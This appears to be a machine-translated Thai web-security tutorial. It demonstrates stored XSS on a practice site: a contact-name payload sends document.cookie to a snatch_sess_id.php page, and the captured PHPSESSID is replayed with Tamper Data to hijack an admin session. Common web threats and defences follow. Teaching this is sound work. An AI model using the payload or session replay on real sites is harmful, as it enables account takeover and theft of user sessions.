วิธีการแฮ็กเว็บไซต์? เทคนิคการแฮ็กเว็บไซต์
⚡ สรุปอย่างชาญฉลาด
การแฮ็กเว็บไซต์ใช้ประโยชน์จากจุดอ่อนในแอปพลิเคชันเว็บ เช่น โค้ดที่เขียนไม่ดี ข้อมูลที่ป้อนเข้ามาไม่ได้รับการตรวจสอบ และการจัดการเซสชันที่อ่อนแอ เพื่อเข้าถึงเว็บไซต์โดยไม่ได้รับอนุญาต หน้านี้แสดงให้เห็นถึงเทคนิคการโจมตีที่พบบ่อย และที่สำคัญกว่านั้นคือมาตรการป้องกันที่ช่วยรักษาความปลอดภัยของเว็บไซต์

ผู้คนเข้าถึงอินเทอร์เน็ตได้มากขึ้นกว่าที่เคย สิ่งนี้กระตุ้นให้หลายองค์กรพัฒนาแอปพลิเคชันบนเว็บที่ผู้ใช้สามารถใช้ออนไลน์เพื่อโต้ตอบกับองค์กรได้ รหัสที่เขียนไม่ดีสำหรับเว็บแอปพลิเคชันสามารถถูกนำไปใช้เพื่อเข้าถึงข้อมูลที่ละเอียดอ่อนและเว็บเซิร์ฟเวอร์โดยไม่ได้รับอนุญาต
คุณจะได้เรียนรู้เทคนิคการแฮ็กเว็บไซต์ที่พบได้ทั่วไปและมาตรการป้องกันการโจมตีเหล่านั้น
วิธีแฮ็กเว็บไซต์
ในสถานการณ์จริงของการแฮ็กเว็บไซต์นี้ เราจะแย่งชิงเซสชันผู้ใช้ของแอปพลิเคชันเว็บที่อยู่ที่ www.techpanda.orgเราจะใช้การโจมตีแบบ Cross-site scripting เพื่ออ่านรหัสเซสชันของคุกกี้ จากนั้นใช้รหัสเซสชันนั้นเพื่อปลอมตัวเป็นเซสชันของผู้ใช้ที่ถูกต้อง
ข้อสันนิษฐานคือ ผู้โจมตีสามารถเข้าถึงเว็บแอปพลิเคชันได้ และต้องการเข้าควบคุมเซสชันของผู้ใช้รายอื่นที่ใช้แอปพลิเคชันเดียวกัน เป้าหมายของการโจมตีนี้อาจเป็นการเข้าถึงสิทธิ์ผู้ดูแลระบบของเว็บแอปพลิเคชัน โดยสมมติว่าบัญชีผู้ใช้ของผู้โจมตีเป็นบัญชีที่มีข้อจำกัด
ขั้นตอนที่ 1) เปิด URL http://www.techpanda.org/.
เพื่อเป็นการฝึกฝน ขอแนะนำอย่างยิ่งให้ใช้วิธีการเจาะระบบโดยใช้ SQL Injection โปรดดูรายละเอียดเพิ่มเติมได้ที่... บทความนี้เกี่ยวกับการโจมตีแบบ SQL Injection สำหรับข้อมูลเพิ่มเติมเกี่ยวกับวิธีการทำเช่นนั้น
ขั้นตอนที่ 2) ป้อนรายละเอียดการเข้าสู่ระบบ
อีเมลสำหรับเข้าสู่ระบบคือ admin@google.com และรหัสผ่านคือ Password2010
ขั้นตอนที่ 3) ตรวจสอบแดชบอร์ด
หากคุณเข้าสู่ระบบสำเร็จ คุณจะเห็นหน้าแดชบอร์ดดังต่อไปนี้
ขั้นตอนที่ 4) ป้อนเนื้อหาใหม่
คลิกที่ เพิ่มผู้ติดต่อใหม่ แล้วป้อนชื่อจริงดังต่อไปนี้:
<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>
ขั้นตอนที่ 5) เพิ่ม Javaต้นฉบับ
รหัสข้างต้นใช้ Javaสคริปต์นี้จะเพิ่มไฮเปอร์ลิงก์พร้อมเหตุการณ์ onclick เมื่อผู้ใช้ที่ไม่รู้เรื่องคลิกลิงก์ เหตุการณ์จะดึงข้อมูลออกมา รหัสเซสชันคุกกี้ PHP และส่งไปยังหน้า snatch_sess_id.php พร้อมกับรหัสเซสชันใน URL.
ขั้นตอนที่ 6) เพิ่มรายละเอียด
กรอกรายละเอียดที่เหลือตามที่แสดงด้านล่าง แล้วคลิก บันทึกการเปลี่ยนแปลง
ขั้นตอนที่ 7) ตรวจสอบแดชบอร์ด
หน้าจอแดชบอร์ดของคุณจะแสดงลักษณะดังภาพต่อไปนี้
ขั้นตอนที่ 8) ตรวจสอบรหัสเซสชัน
เนื่องจากสคริปต์ Cross-site ถูกจัดเก็บไว้ในฐานข้อมูล มันจึงโหลดทุกครั้งที่ผู้ใช้ที่มีสิทธิ์เข้าถึงล็อกอิน เมื่อผู้ดูแลระบบล็อกอินและคลิกลิงก์ที่เขียนว่า "มืด" พวกเขาจะได้รับหน้าต่างที่มีรหัสเซสชันแสดงอยู่ URL.
หมายเหตุ: สคริปต์อาจส่งค่าไปยังเซิร์ฟเวอร์ระยะไกลที่เก็บ PHPSESSID ไว้ จากนั้นจึงเปลี่ยนเส้นทางผู้ใช้กลับมาเหมือนไม่มีอะไรเกิดขึ้น
หมายเหตุ: ค่าที่คุณได้รับอาจแตกต่างจากที่แสดงไว้ที่นี่ แต่หลักการพื้นฐานเหมือนกัน
การใช้การเลียนแบบเซสชัน Firefox และส่วนเสริมข้อมูลการงัดแงะ
หมายเหตุ: ส่วนเสริม Tamper Data รุ่นคลาสสิกที่แสดงด้านล่างนี้ ไม่สามารถติดตั้งได้ในเวอร์ชันปัจจุบันอีกต่อไป Firefoxแต่แนวคิดที่แสดงให้เห็นนั้นยังคงไม่เปลี่ยนแปลง นั่นคือการดักจับและแก้ไขคำขอ HTTP เพื่อเล่นเซสชันที่ถูกจับไว้ซ้ำ
ผังงานด้านล่างแสดงขั้นตอนที่คุณต้องทำเพื่อทำแบบฝึกหัดนี้ให้เสร็จสิ้น
- คุณจะต้อง Firefox ใช้เว็บเบราว์เซอร์สำหรับส่วนนี้และส่วนเสริม Tamper Data
- จุดเปิด Firefox และติดตั้งส่วนเสริมตามที่แสดงในแผนภาพด้านล่าง
- ค้นหาข้อมูลการปลอมแปลง จากนั้นคลิกที่ติดตั้งตามที่แสดงด้านบน
- คลิกที่ยอมรับและติดตั้ง...
- เมื่อการติดตั้งเสร็จสมบูรณ์แล้ว ให้คลิกที่ "เริ่มใหม่ทันที"
- เปิดใช้งานแถบเมนูใน Firefox หากไม่แสดงให้เห็น
- คลิกที่เมนู เครื่องมือ จากนั้นเลือก ข้อมูลการดัดแปลง ดังแสดงในภาพด้านล่าง
- คุณจะเห็นหน้าต่างต่อไปนี้ หมายเหตุ: หากหน้าต่างไม่ว่างเปล่า ให้กดปุ่มล้างข้อมูล
- คลิกที่เมนู เริ่มการดัดแปลง (Start Tamper)
- สลับกลับไปที่ Firefox ในเว็บเบราว์เซอร์ ให้พิมพ์ http://www.techpanda.org/dashboard.php แล้วกดปุ่ม Enter เพื่อโหลดหน้าเว็บ
- คุณจะได้รับป๊อปอัพต่อไปนี้จาก Tamper Data
- หน้าต่างป๊อปอัพมีสาม (3) ตัวเลือก ตัวเลือก Tamper อนุญาตให้คุณแก้ไขข้อมูลส่วนหัว HTTP ก่อนที่จะส่งไปยังเซิร์ฟเวอร์
- คลิกที่มัน
- คุณจะได้รับหน้าต่างดังต่อไปนี้
- คัดลอก PHP session ID ที่คุณคัดลอกมาจากการโจมตี URL แล้ววางต่อจากเครื่องหมายเท่ากับ ค่าของคุณควรมีลักษณะเช่นนี้
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
- คลิกที่ปุ่มตกลง
- คุณจะเห็นหน้าต่างป๊อปอัพแจ้งเตือนการแก้ไขข้อมูลอีกครั้ง
- ยกเลิกการเลือกช่องกาเครื่องหมายที่ถามว่าดำเนินการดัดแปลงต่อหรือไม่
- เมื่อทำเสร็จแล้ว ให้คลิกปุ่มส่ง
- คุณจะเห็นหน้าแดชบอร์ดดังที่แสดงด้านล่างนี้
หมายเหตุ: เราไม่ได้ล็อกอินเข้าสู่ระบบ แต่เราปลอมตัวเป็นเซสชันการล็อกอินโดยใช้ค่า PHPSESSID ที่เราได้รับมาโดยใช้การโจมตีแบบ Cross-Site Scripting (XSS)
เว็บแอปพลิเคชันคืออะไร? ภัยคุกคามทางเว็บคืออะไร?
แอปพลิเคชันบนเว็บ (หรือเว็บไซต์) คือแอปพลิเคชันที่ใช้โมเดลไคลเอ็นต์-เซิร์ฟเวอร์ เซิร์ฟเวอร์ทำหน้าที่เข้าถึงฐานข้อมูลและประมวลผลตรรกะทางธุรกิจ โดยจะถูกโฮสต์อยู่บนเว็บเซิร์ฟเวอร์ ส่วนแอปพลิเคชันไคลเอ็นต์จะทำงานบนเว็บเบราว์เซอร์ของไคลเอ็นต์ แอปพลิเคชันบนเว็บมักเขียนด้วยภาษาต่างๆ เช่น JavaC#, VB.Net, PHPและภาษามาร์กอัป ColdFusion เป็นต้น เอนจินฐานข้อมูลที่ใช้ในเว็บแอปพลิเคชัน ได้แก่ MySQL, เซิร์ฟเวอร์ MS SQL, PostgreSQL, SQLiteฯลฯ
เทคนิคการแฮ็กเว็บไซต์ยอดนิยม
แอปพลิเคชันบนเว็บส่วนใหญ่ถูกโฮสต์บนเซิร์ฟเวอร์สาธารณะ เซิร์ฟเวอร์ สามารถเข้าถึงได้ผ่านทางอินเทอร์เน็ต ทำให้เว็บแอปพลิเคชันมีความเสี่ยงต่อการถูกโจมตีเนื่องจากเข้าถึงได้ง่าย ต่อไปนี้คือภัยคุกคามที่พบบ่อยต่อเว็บแอปพลิเคชัน
- ด้วย SQL Injection – เป้าหมายของภัยคุกคามนี้คือการหลีกเลี่ยงอัลกอริทึมการเข้าสู่ระบบ ทำลายข้อมูล เป็นต้น
- Denial of Service การโจมตี – เป้าหมายของภัยคุกคามนี้อาจเป็นการกีดกันไม่ให้ผู้ใช้งานที่ได้รับอนุญาตเข้าถึงทรัพยากรดังกล่าว
- การเขียนสคริปต์ข้ามไซต์ (XSS) – เป้าหมายของภัยคุกคามนี้อาจเป็นการแทรกโค้ดที่สามารถทำงานบนเบราว์เซอร์ฝั่งไคลเอ็นต์ได้
- พิษจากคุกกี้/เซสชัน – เป้าหมายของภัยคุกคามนี้คือการแก้ไขคุกกี้/ข้อมูลเซสชันโดยผู้โจมตีเพื่อให้เข้าถึงโดยไม่ได้รับอนุญาต
- การปลอมแปลงแบบฟอร์ม – เป้าหมายของภัยคุกคามนี้คือการแก้ไขข้อมูลแบบฟอร์ม เช่น ราคาในแอปพลิเคชันอีคอมเมิร์ซ เพื่อให้ผู้โจมตีสามารถรับสินค้าในราคาที่ลดลง
- Code การฉีด – เป้าหมายของภัยคุกคามนี้คือการฉีดโค้ดเช่น PHP Pythonฯลฯ ที่สามารถดำเนินการได้บนเซิร์ฟเวอร์ โค้ดสามารถติดตั้งแบ็คดอร์ เปิดเผยข้อมูลที่ละเอียดอ่อน ฯลฯ
- การทำให้เสียหน้า – เป้าหมายของภัยคุกคามนี้คือการแก้ไขหน้าเว็บที่แสดงอยู่บนเว็บไซต์ และเปลี่ยนเส้นทางการร้องขอหน้าเว็บทั้งหมดไปยังหน้าเว็บเดียวที่มีข้อความของผู้โจมตี
จะปกป้องเว็บไซต์ของคุณจากการแฮ็กได้อย่างไร?
องค์กรสามารถใช้นโยบายต่อไปนี้เพื่อป้องกันตัวเองจากการโจมตีเว็บเซิร์ฟเวอร์
- ด้วย SQL Injection – การตรวจสอบและยืนยันค่าพารามิเตอร์ของผู้ใช้ก่อนส่งไปยังฐานข้อมูลเพื่อประมวลผล สามารถช่วยลดโอกาสในการถูกโจมตีด้วย SQL Injection ได้ ฐานข้อมูลเช่น MS SQL Server MySQLและอื่นๆ รองรับพารามิเตอร์และคำสั่งเตรียมการ ซึ่งปลอดภัยกว่าคำสั่ง SQL แบบดั้งเดิมมาก
- การปฏิเสธการโจมตีบริการ – ไฟร์วอลล์สามารถใช้เพื่อบล็อกการรับส่งข้อมูลจากที่อยู่ IP ที่น่าสงสัยได้ หากการโจมตีนั้นเป็นเพียงการโจมตีแบบ DoS ทั่วไป การกำหนดค่าเครือข่ายที่เหมาะสมและระบบตรวจจับการบุกรุก (Intrusion Detection System) ก็สามารถช่วยลดโอกาสที่การโจมตีแบบ DoS จะประสบความสำเร็จได้เช่นกัน
- cross-site scripting – การตรวจสอบและกรองส่วนหัวและพารามิเตอร์ที่ส่งผ่านทาง URLพารามิเตอร์แบบฟอร์ม และค่าที่ซ่อนไว้ สามารถช่วยลดการโจมตี XSS ได้
- พิษจากคุกกี้/เซสชัน – สามารถป้องกันปัญหานี้ได้โดยการเข้ารหัสเนื้อหาของคุกกี้ กำหนดเวลาหมดอายุของคุกกี้หลังจากช่วงเวลาหนึ่ง และเชื่อมโยงคุกกี้กับที่อยู่ IP ของไคลเอ็นต์ที่ใช้ในการสร้างคุกกี้เหล่านั้น
- การปลอมแปลงแบบฟอร์ม – สามารถป้องกันปัญหานี้ได้โดยการตรวจสอบและยืนยันข้อมูลที่ผู้ใช้ป้อนก่อนที่จะประมวลผล
- Code การฉีด – ปัญหานี้สามารถป้องกันได้โดยการ treating พารามิเตอร์ทั้งหมดเป็นข้อมูลแทนที่จะเป็นโค้ดที่สามารถเรียกใช้งานได้ การตรวจสอบความถูกต้องและการกรองข้อมูลสามารถนำมาใช้เพื่อดำเนินการนี้ได้
- การทำให้เสียหน้า – ดี ความปลอดภัยของเว็บแอปพลิเคชัน นโยบายควรตรวจสอบให้แน่ใจว่าได้อุดช่องโหว่ที่ใช้กันทั่วไปในการเข้าถึงเว็บเซิร์ฟเวอร์แล้ว ซึ่งอาจรวมถึงการกำหนดค่าระบบปฏิบัติการ ซอฟต์แวร์เว็บเซิร์ฟเวอร์ และแนวทางปฏิบัติที่ดีที่สุดด้านความปลอดภัยในการพัฒนาซอฟต์แวร์ping เว็บแอปพลิเคชัน
ตรวจสอบสิ่งนี้: 9 Best URL โปรแกรมสแกนเพื่อตรวจสอบว่าลิงก์นั้นปลอดภัยจากมัลแวร์หรือไม่


















